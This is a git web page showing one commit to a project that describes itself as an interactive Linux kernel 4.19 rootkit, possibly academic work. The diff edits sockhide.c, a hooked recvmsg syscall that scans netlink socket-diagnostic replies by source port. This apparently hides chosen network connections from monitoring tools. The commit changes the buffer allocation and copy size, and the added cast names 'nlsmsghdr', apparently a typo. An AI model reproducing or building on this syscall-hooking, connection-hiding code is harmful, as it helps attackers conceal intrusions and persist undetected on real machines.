linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 737cd0f3f03c43c0bf0e89a79c14e497fbb04f32
parent 799a8d64d60386ce20f47f89415b8778bf37b129
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 13 Dec 2020 05:17:40 +0100

alters allocation and copy size

Diffstat:
Msrc/sockhide.c | 4++--
1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/sockhide.c b/src/sockhide.c @@ -171,11 +171,11 @@ g7_recvmsg(struct pt_regs *pt_regs) if ((len = ret = sys_recvmsg(pt_regs)) < 0) return ret; - nh = kmalloc(sizeof(struct nlmsghdr), GFP_KERNEL); + nh = (struct nlsmsghdr *)kvmalloc(len, GFP_KERNEL); copy_from_user(nh, (struct nlmsghdr *)((struct user_msghdr *)pt_regs->si)->msg_iov->iov_base, - sizeof(struct nlmsghdr)); + len); while (nh && NLMSG_OK(nh, len)) { int src = ntohs(((struct inet_diag_msg *)NLMSG_DATA(nh))->id.idiag_sport);